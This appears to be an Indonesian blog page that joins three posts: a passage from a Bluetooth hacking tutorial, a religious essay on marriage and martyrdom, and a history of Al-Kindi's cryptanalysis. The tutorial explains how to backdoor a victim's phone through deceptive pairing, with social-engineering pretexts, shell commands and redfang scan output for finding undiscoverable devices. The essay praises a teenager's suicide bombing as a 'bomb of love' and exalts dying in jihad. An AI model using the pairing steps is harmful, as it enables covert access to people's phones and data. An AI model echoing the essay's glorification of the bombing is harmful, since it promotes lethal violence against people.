Tapi ingat, dengan melakukan panggilan ini maka akan tampak pada layar target bahwa sednag melakukan panggilan terhadap nomer tertentu. (Sehingga sebaiknya dalam melakukan panggilan pada saat target tidak berinteraksi langsung dengan device)

31337 Penetration

Backdooring

Teknik Backdooring ini bisa dilakukan dengan cara berinteraksi secara langsung ataupun tidak, teknik ini bertujuan membuat "device" target melakukan "pairing" dengan device penyerang. Social enggineering berperanan penting pada teknik ini.

Contoh:

a. Berinteraksi langsung

Seperti teknik social engineering yang pada umumnya dilakukan adalah dengan cara berinteraksi secara langsung dengan device target.

real life example:

Ingat, perubahan kartu SIM, menghidupkan dan mematikan Device tidak menghapus pairing yang telah terbuat, celah ini membuat aku berpura-pura kehabisan batere handphone dan meminjam handphone target untuk mengirim sms, agar target semakin yakin maka aku gunakan nomer yang aku miliki (agar lebih meyakinkan lagi maka sebiknya handphone kamu emang tidak bisa menyala), setelah itu cobalah lakukan pairing kedevice kamu, sebelum itu ada 2 hal yang harus aku lakukan

1. menentukan PIN untuk diisikan dari handphone target

//--- command ----//

root@hogwartz:~# echo "4321" > /etc/bluetooth/pin

//--- command ----//

2. Dan kamu perlu membaca syslog untuk mengetahui alamat target yang terhubung.

//--- command ----//

root@hogwartz:~# tail -f /var/log/syslog | grep hcid

Aug 21 20:25:30 localhost hcid[8880]: pin_code_request \

sba=00:09:DD:10:4E:B1, dba=00:0A:D9:49:B6:8B)

//--- command ----//

dan sekarang aku tinggal matikan handphone dan tukar kartu SIM kembali, selanjutnya tinggal bereksplorasi di "device" target.

b. Berinteraksi Tidak langsung

Cara kedua ini dikombinasikan dengan teknik BlueJacking, pada cara ini hanya perlu mengirimkan gambar/text/lagu/ atau apapun ke device target sehingga target akan melakukan cek terhadap info device pengirim yang tampil pada "device" target dan jika target berniat menerima gambar/text/lagu/ tersebut maka dia harus melakukan pairing dan perlu memasukan sebaris PIN.

(nama device; yang bisa di definisikan pada deviceku), Karena karakter di beberapa "device", jumlah karakter tidak dibatasi maka memungkinkan kita untuk menuliskan sebaris kalimat yang "membujuk" (inti social engineering) seperti "FOTO NADINE NIH?" atau "UNTUK MENERIMA KETIKKAN 4321". Selanjutnya tinggal tunggu hasil pairing kita J.

Detecting the undetected

Baiklah, sekarang bagaimana kalau "device" tersebut tidak di set discoverable sehingga kesulitan mendapatkan alamat device, dan tidak mungkin meminjam handphone ("device") target karena satu dan lain hal (pelit mungkin:P). Beruntunglah ada satu tools yang dipublikasikan dengan nama "redfang" dan mampu mendeteksi "device" bluetooth yang menyalakan layanannya tetapi tidak di set discoverable.

//--- command ----//

y3dips@hogwartz:~/bt/fang$ sudo ./redfang -r 000AD949B689-000AD949B68D

redfang - the bluetooth hunter ver 2.5

(c)2003 @stake Inc

author: Ollie Whitehouse

enhanced: threads by Simon Halsall

enhanced: "device" info discovery by Stephen Kapp

Scanning 5 address(es)

Address range 00:0a:d9:49:b6:89 -> 00:0a:d9:49:b6:8d

Found: T68i [00:0a:d9:49:b6:8b]

Getting "device" Information.. Failed.

//--- command ----//

Akhirnya mendapatkan alamat target. :), salah satu kelemahannya adalah kecepatannya dalam menemukan adalah sangat lambat, gunakan options "-t" untuk meningkatkan waktu timeout dan mempercepat scanning. atau bisa melakukan "recursive execute". (automated ? -- in proggress)

Mitos dalam "bluetooth [in]security"

1. Matikan saja layanan Bluetoothnya niscaya akan aman

Mematikan layanan bluetooth ("off" mode) pada "device" tidaklah 100% akan membuat "device" aman. Serangan yang mungkin dilakukan adalah Social engginering dan Malicious program (virus, worm & trojan) yang dapat secara otomatis menyalakan layanan bluetooh ("on" mode) atau bahkan melakukan pairing/backdoor attack ke bluetooth "device". Jadi perkuat device anda dengan firewall dan juga antivirus

2. Di Buat "[un]discoverable" akan aman

Lihat bagian 31337 penetration pada bagian kedua Detecting the undetected

3. Tidak ada informasi penting di bluetooth "device"

Salah, ambil contoh "mobile "device" (phone, smart phone, laptop)" Hampir seluruh data penting tersimpan, misalkan mobile phone, disana terdapat seluruh nomer nomer yang penting bagi anda meskipun anda tidak termasuk orang penting :P.

4. Jaraknya pendek

Jarak bluetooth device umumnya pendek 10-100 Meter, tetapi dengan adanya teknik untuk memperkuat signal[6] maka jangkauan pun bisa di perjauh bahkan sampai 1 km.

5. Penyerangnya pasti akan tampak "aneh" dan "mencurigakan" [karena membawa-bawa laptop dan bluetooth device yang di modifikasi (perkuat sinyal)?]

Tidak juga, bahkan sekarang via mobile phone/PDA (java supported) bisa melakukan "assessment"[2].

Bertahan ?

  1. Update informasi anda tentang "device" anda (khususnya soal security)
  2. Update Frimware anda, jikalau termasuk "device" yang di curigai
  3. Periksa daftar "trusted Pair", hapus yang sudah tidak dibutuhkan, hindari backdoor attack
  4. Gunakan Fitur keamanan tambahan (eg: Antivirus, Firewall)
  5. Untuk meminimalisir serangan matikan layanan bluetooth anda jika tidak digunakan
  6. Jikapun dibutuhkan, buatlah PIN yang relatif kuat.
  7. Pastikan untuk tidak sembarangan melakukan koneksi/pairing (eg: terima file dari "unknown device")

Clue

Sebagian handphone memiliki celah terserang teknik bluesnarfing ataupun bluebug saat visible (discoverable) dan sebagian lainnya non-visible (non-discoverable), sementara beberapa jenis lainnya tidak vulnerable kecuali dengan menggunakan backdoor attack dan teknik bluejacking (Social engineering)

Kamus

Pairing adalah suatu bagian (state) yang dilakukan apabila dua buah "device" setuju untuk berkomunikasi satu sama lainnya, setelah state ini terjadi maka apabila ingin terjadi komunikasi ulang maka akan membypass proses pencarian (discovery) dan otentikasi (authentication) yang biasa terjadi pada saat interaksi.


Referensi

  1. y3dips, "Owned a mobile "device" via bluetooth", dipresentasikan dan didemokan pada "Cryptography and Wireless security seminar", 2006
  2. Trifinite official site`s. http://trifinite.org
  3. SIG. http://bluetooth.org
  4. http://thebunker.net
  5. wikipedia. http://en.wikipedia.org
  6. bluesniper. http://www.tomsnetworking.com/2005/03/08/how_to_bluesniper_pt1/


Menjelang Hari Pernikahan

Carilah cinta yang sejati.
Yang ada hanyalah pada-Nya
Carilah cinta yang hakiki
Yang hanya pada-Nya yang Esa

Carilah cinta yang abadi
Yang ada hanyalah pada-Nya
Carilah kasih yang kekal selamanya
Yang ada hanyalah pada Tuhan-mu

Di dalam mencari cinta yang sejati
Banyaknya ranjau kan ditempuhi
Di dalam mendapat cinta yang hakiki
Banyaknya onak yang dilewati

Namun janji-Nya kepada hamba-nya
Tidak pernah dimungkiri
Dan tidak pernah melupakanmu.
Yakinlah kepada Tuhanmu
Karena Dialah cinta yang hakiki.

~O~o-Raihan-o~O~


Kelahiran, pernikahan dan kematian. Demikian siklus kehidupan yang sering digambarkan oleh kebanyakan manusia. Pernikahan menjadi bagian bersejarah dan sakral. Apa arti pernikahan bagi manusia?

Menikah bagi sebagian manusia adalah beban. Karena berarti harus siap berbagi dengan orang lain, pun harus memiliki keturunan. Bagi kebanyakan orang di Barat, menikah bukanlah sesuatu yang sakral lagi. Menikah sangatlah merepotkan. Harus memiliki anak dan sebagainya. Mereka lebih memilih untuk tidak menikah. Untuk apa menikah bila harus terikat, dan tidak bisa bebas menyalurkan kebutuhan seksnya dengan siapa saja. Memiliki anak pun dianggap beban. Bahkan orang-orang di Jepang membuat perhitungan yang rumit tentang biaya pendidikan bila sampai memiliki anak. Stres. Di Jerman, pemerintah menawarkan pembiayaan bagi mereka yang mau melahirkan dan membesarkan anak-anaknya.

Menikah bagi sebagian manusia adalah syarat untuk melegalkan asmara. Sudah sekian tahun berpacaran dan mengenal. Lantas apalagi yang ditunggu? Daripada nanti berzina. Menikah diartikan sebagai penyatuan cinta semata. Lebih dari itu tidak. Anak yang kelak akan dilahirkan, diplanningkan hanya dalam masalah pendidikan saja ; S1, S2, dst.. Bahkan atas nama cinta pula, bila cinta sudah luntur dan hambar, maka perceraian menjadi mudah.

Menikah bagi sebagian manusia, adalah salah satu cara untuk mendekatkan diri kepada Tuhannya. Menundukkan pandangan dan memelihara kemaluan. Menikah adalah bagian dari idealismenya untuk memakmurkan bumi dengan keturunan yang dapat menegakkan kalimah Tuhannya. Keturunan yang sholeh, akan membawa kedua orang tuanya menuju surga yang luasnya seluas langit dan bumi. Pernikahan orang-orang ini, sangat selektif. Menikah dengan pendamping yang juga sholeh adalah harapan untuk dapat saling mengokohkan di tengah peperangan antara yang haq dan yang batil. Maka tidak bisa tidak, syarat pendamping yang haraki dan se-fikrah seakan menjadi wajib hukumnya bagi mereka.

Short post here
Extended post here

Pernikahan Atas Nama Cinta?

Sebagian manusia ingin menikah karena cinta yang memabukkan. Tak sabar ingin memadu cinta. Larangan Tuhannya ditabrak. Pacaran menjadi halal. Siang dan malam yang terbayang hanyalah wajah si dia. Lagu-lagu cinta melankolis menjadi alunan indah dari hati yang merindu. Bila sang kekasih dekat, ia takut berpisah. Bila sang kekasih jauh, hatinya resah gelisah menahan kerinduan. Lalainya hati karena disibukkan oleh selain-Nya adalah kesengsaraan dan kerugian tidak hanya di dunia, tetapi juga di akhirat.

Menikah adalah moment yang dinanti. Didamba. Seakan-akan, menikah adalah terminal akhir dari kisah percintaan. Dunia penuh dengan hingar bingar cinta nafsu yang memang di blow up oleh media-media. Lagu, sinetron, film. semuanya atas nama cinta. Cinta nafsu. Thaghut baru.

Sebagian orang mengatakan bahwa menikahi sang kekasih adalah karena cintanya kepada Allah Subhanahu wa Ta'ala. Apakah benar cinta karena Allah Subhanahu wa Ta'ala? Karena jika saja cinta itu benar karena Allah Subhanahu wa Ta'ala, niscaya akan membawa diri semakin dekat kepada-Nya. Maka patut dipertanyakan cintanya itu, apakah benar karena Allah Subhanahu wa Ta'ala atau hawa nafsu semata.

Cinta. Meminta dan memberi cinta dari dan kepada yang belum berhak. Alangkah malunya hati bila memberikan cinta pada yang tidak berhak. Tiadalah berhak memberikannya, karena sudah ada pemiliknya, meski belum tahu siapakah belahan jiwa itu. karena pasangan jiwa adalah rahasia Allah. "Dan diantara manusia ada orang-orang yang menyembah tandingan-tandingan selain Allah, maka mereka mencintainya sebagaimana mereka mencintai Allah. Adapun orang-orang yang beriman amat sangat cintanya kepada Allah. Dan jika seandainya orang-orang yang berbuat zalim itu mengetahui ketika mereka melihat siksa (pada hari kiamat), bahwa kekuatan itu kepunyaan Allah semuanya, dan bahwa Allah amat berat siksaanNya (niscaya mereka menyesal)." (QS. Al Baqarah : 165)

Mereka Menjemput Kematian

Pernikahan identik dengan kebahagiaan, sedang kematian, identik dengan kesedihan. Tetapi tidak selamanya demikian. Bisa jadi, kematian lebih membahagiakan ketimbang pernikahan. Dan sementara sebagian orang mengejar cinta dan disibukkan angan-angan akan pernikahan dengan sang kekasih, para pejuang justru sibuk menggadaikan seluruh yang mereka miliki, termasuk pernikahannya demi sebuah perniagaan yang balasannya adalah syurga.

Ayat Al Akrash. 17 tahun. Menggapai syahadah menjelang pernikahannya. Pernikahan yang seharusnya menjadi penantian semua gadis. Menikah di kemelut perjuangan membebaskan bangsa dari penjajahan? Ayat Al Akrash bukannya tak punya cinta. Ia mencintai calon suaminya. Tetapi, ada yang lebih tinggi dari cinta kepada manusia, yaitu cinta kepada Allah Subhanahu wa Taala. Ya, dan bom cinta itu menewaskan 3 tentara Israel dan melukai 70 orang lainnya. Subhanallah. Ayat kini telah menjadi mempelai wanita seluruh warga Palestina dan pejuang Islam sedunia.

Zahid. 35 th. Sahabat Rasulullah SAW ini akan menikah dengan wanita yang sholehah, sangat cantik dan terhormat. Ia tengah mempersiapkan pernikahannya. Panggilan jihad berkumandang. Para sahabat menyarankan kepadanya untuk tidak ikut berjihad, karena ia akan berbulan madu. Tetapi apa jawaban sang pejuang ini? Zaid menjawab dengan tegas, "Itu tidak mungkin!" Lalu Zahid menyitir ayat, "Jika bapak-bapak, anak-anak, saudara-saudara, istri-istri kaum keluargamu, harta kekayaan yang kamu usahakan, perniagaan yang kamu khawatiri kerugiannya dan rumah-rumah tempat tinggal yang kamu sukai, adalah lebih baik kamu cintai daripada Allah dan Rasul-Nya (dari) berjihad di jalan-Nya. Maka tunggulah sampai Allah mendatangkan keputusan-Nya. Dan Allah tidak memberi petunjuk kepada orang-orang fasik" (QS. 9:24). Dan majulah Zahid ke medan pertempuran. Menggapai syahid.

Abdurrahman bin Abu Bakar. Menikah dengan 'Atikah. Ia sangat mencintai isterinya karena agama dan akhlaknya. Yang karena kecintaannya itu, membuat Abdurrahman betah di rumah dan beberapa kali tidak shalat berjamaah di masjid. Mengetahui hal ini, Abu Bakar menyuruhnya menceraikan saja isterinya itu. Dan Abdurrahman bersyair dengan sedih untuk isterinya, "Demi Allah tidaklah aku melupakanmu walau matahari kan terbit meninggi dan tidaklah terurai air mata merpati itu kecuali berbagi hati. Tidak pernah kudapatkan orang sepertiku mentalak orang seperti dia, dan tidaklah orang seperti dia ditalak karena dosanya. Dia berakhlak mulia, beragama dan bernabikan Muhammad. Berbudi pekerti tinggi bersifat pemalu dan halus tutur katanya.." Namun kecintaan yang dalam kepada 'Atikah tidak menghalanginya untuk memenuhi panggilan Allah kala jihad dikumandangkan. Ada cinta di atas cinta. Ia tinggalkan isterinya dan berjuang hingga syahid. Mati di jalan Allah adalah cita-cita kami tertinggi.

Hanzolah. Sahabat Rasulullah SAW. Pengantin baru. Malam pertama. Panggilan jihad berkumandang. Dan ia memenuhi panggilan itu hingga menggapai syahid, dalam keadaan masih junub. Dimandikan oleh para malaikat. Diabadikan dalam catatan sejarah kafilah para syuhada.

Yaseen Al Jazairi. Pejuang dari Algeria. Syahid di Afghanistan pada tahun 1989. Akan menikah. Namun panggilan jihad di Afghanistan membuatnya rela menggadaikan tabungan pernikahannya untuk membeli tiket ke tanah jihad, Afghanistan, dan syahid di sana.

Say: If your fathers, your sons, your brothers, your wives, your kindred, the wealth that you have gained, the commerce in which you fear a decline, and the dwellings in which you delight, are dearer to you than Allah and His Messenger, and striving hard and fighting in His Cause, then wait until Allah brings about His Decision (torment). And Allah guides not the people who are Al-Fasiqoon (the rebellious, disobedient) to Allah." [Quran 9:24].

Mereka Dijemput Kematian

Menikah!! Begitu banyak harapan yang manusia inginkan pada calon pasangannya. Harus begini dan begitu. Sebagai tanda kehati-hatian dalam memilih. Namun janganlah bergantung pada manusia, siapapun itu.. Karena manusia tetaplah manusia, yang jiwanya ada dalam genggaman-Nya.

Seorang ikhwan berta'aruf dengan seorang akhwat. Hari pernikahan sudah ditentukan. Kala sang akhwat usai membeli pakaian pernikahan bersama calon mertuanya, mobil yang mereka kendarai bertabrakan dengan sebuah truk. Sang akhwat meninggal dengan wajah hancur. Sang calon suami melepas kepergiannya di pemakaman dengan kesedihan yang mendalam. Ia berjanji tidak akan menikah, kecuali sampai tiga tahun lagi karena sangat sulit baginya untuk melupakan calon isteri. Masih sering teringat di benaknya ketika mereka berta'aruf, yang tentunya tidak berduaan, melainkan ditemani oleh teman-teman akhwat yang lainnya, beramai-ramai.

Kisah yang tak jauh berbeda. Ikhwan dan akhwat yang baru saja usai acara ijab qabul. Dalam resepsi pernikahan, sang akhwat meninggal dunia karena memang tengah sakit. Suaminya sangat berduka. Pun banyak kisah-kisah ikhwah yang kematian menjemput dikala pernikahan sudah tinggal hitungan hari.

Penutup

Banyak manusia yang berangan muluk dan berhasrat dengan cinta yang memenuhi segenap jiwa, dan hari-harinya disibukkan oleh sang kekasih, hingga lalai pada Allah Subhanahu wa Ta'ala, tetapi laa haula wala quwwata illa billah., ternyata didahului takdir dan kematian merenggut nyawa.

Pernikahan menjadi moment yang paling dinanti oleh kebanyakan manusia di dunia dan semua orang seakan berlomba mengagungkan cinta. Tetapi diantara manusia-manusia itu, masih ada orang-orang yang rela meninggalkan apa yang didamba oleh kebanyakan manusia, demi sebuah cinta sejati dan kerinduan akan kehidupan yang abadi.

"Hai jiwa yang tenang. Kembalilah kepada Tuhan-mu dengan hati yang puas lagi diridhai-Nya. Maka masuklah ke dalam jemaah hamba-hamba-Ku, dan masuklah ke dalam surga-Ku." (QS. Al Fajr : 27 - 30).

sumber: sarikata.com

Kitab Kriptografi Al-Kindi

Risalah fi Istikhraj al-Mu’amma


Peradaban Islam memang pernah jaya dan akan jaya kembali. Di masa keemasannya, ilmuwan Islam menguasai dunia lewat berbagai ilmu pengetahuan dan teknologi. Nyaris tidak ada cabang ilmu yang tidak dikuasai, bahkan hingga ke teknologi militer sekalipun. Namun barangkali tidak ada yang menyangka bahwa Islam sudah memiliki sosok dan kitab pemecah kode sejak berabad-abad lalu.

Adalah Abu Yusuf Yaqub Ibnu Ishaq Ibnu As-Sabbah Ibnu 'Omran Ibnu Ismail Al- Kindi, atau yang lebih dikenal sebagai Al-Kindi yang melakukannya. Selain dikenal sebagai salah satu filsuf kenamaan Islam, ia juga menulis buku tentang kriptologi atau seni memecahkan kode. Dalam buku yang berjudul Risalah fi Istikhraj al-Mu'amma (Manuscript for the Deciphering Cryptographic Messages) ini, ia menuliskan naskah untuk menguraikan kode-kode rahasia.

Dalam buku ini, Al-Kindi memperkenalkan teknik penguraian kode atau sandi-sandi yang sulit dipecahkan. Ia juga mengklasifikasikan sandi-sandi rahasia itu serta menjelaskan ilmu fonetik Arab dan sintaksisnya. Yang paling penting lagi, dalam bukunya ini ia mengenalkan penggunaan beberapa teknik statistika untuk memecahkan kode-kode rahasia.

Kitabnya mengenai kriptografi sangat mungkin bisa terwujud mengingat dia adalah seorang yang pakar di bidang ilmu hitung/matematika. Di area ilmu ini, ia menulis empat buku mengenai sistem penomoran dan menjadi dasar bagi aritmatika modern. Berbicara tentang sistem penomoran, tak bisa dipungkiri peran Al Khawarizmi di dalamnya. Namun, Al Kindi juga menaruh kontribusi dalam hal ini. Ia juga berkontribusi besar dalam bidang geometri bola, bidang yang sangat mendukungnya dalam studi astronomi.

Short post here
Extended post here

Pesinggungannya dengan dunia ilmiah di pusat ilmu pengetahuan Islam pada zaman keemasan -- Baghdad -- dimulai saat ia melamar sebagai penulis kaligrafi di akademi paling populer saat itu, House of Wisdom. Bersama Al Khawarizmi dan Banu Musa bersaudara, ia ditugasi menerjemahkan karya-karya Yunani ke dalam bahasa Arab oleh khalifah Al Makmun.

Dia tak banyak terlibat dalam penerjemahan langsung sebetulnya, karena tugas pokok dia adalah mengedit dan mengoreksi. Al Kindi sangat mengagumi pemikiran-pemikiran filsuf Yunani-Romawi. Ia sangat terilhami oleh filsuf besar dua Yunani, Socrates dan Aristoteles. Pengaruh dua tokoh ini bisa dilihat dalam karya-karya Al Kindi di kemudian hari.

Bekerja di bidang sandi-sandi rahasia dan pesan-pesan tersembunyi dalam naskah-naskah asli Yunani dan Romawi mempertajam nalurinya dalam bidang kriptoanalisa. Ia menjabarkannya dalam sebuah makalah, yang setelah dibawa ke Barat beberapa abad sesudahnya diterjemahkan sebagai Manuscript on Deciphering Cryptographic Messages.

Di dalamnya antara lain mengungkapkan: "Satu cara untuk memecahkan kode rahasia, jika kita tahu bahasanya, adalah dengan menemukan satu naskah asli yang berbeda dari bahasa yang sama, lalu kita hitung kejadian-kejadian pada tiap naskah. Pilah menjadi naskah kejadian satu, kejadian dua, dan seterusnya. Kemudian kita lihat teks rahasia yang ingin kita pecahkan, dan mulailah mengklasifikasikan simbol-simbolnya. Kita lalu menemukan simbol yang paling sering muncul, lalu ubahlah dengan catatan kejadian satu, dua dan seterusnya itu, sampai seluruh simbol itu terbaca."

Teknik Al Kindi ini kemudian dikenal sebagai analisa frekuensi dalam kriptografi, yaitu cara paling sederhana untuk menghitung persentase bahasa khusus dalam naskah asli, persentase huruf dalam kode rahasia, dan menggantikan simbol dengan huruf.

Dalam dunia Islam dan dunia pada umumnya, Al-Kindi dikenal sebagai filsuf Arab kenamaan. Karya-karyanya yang luar biasa menempatkannya pada posisi tertinggi di bidang ilmu pengetahuan. Namun meski dikenal sebagai seorang filsuf kenamaan asal Dinasti Abassiyah, ia juga menguasai berbagai cabang ilmu lainnya seperti kedokteran, matematika, musik, astrologi, dan ilmu optik.

Al-Kindi (801-873)

Lahir: Kufa, Arab.

Pekerjaan awal: penerjemah, penulis kaligrafi

Bidang yang dikuasai: filsafat, kedokteran, musik, astronomi, geografi, matematika, farmakologi, kriptografi.

Karya: 205 buku, antara lain Geometri (32 buku), pengobatan dan filosofi (22 buku), logika (9 buku), fisika (12 buku).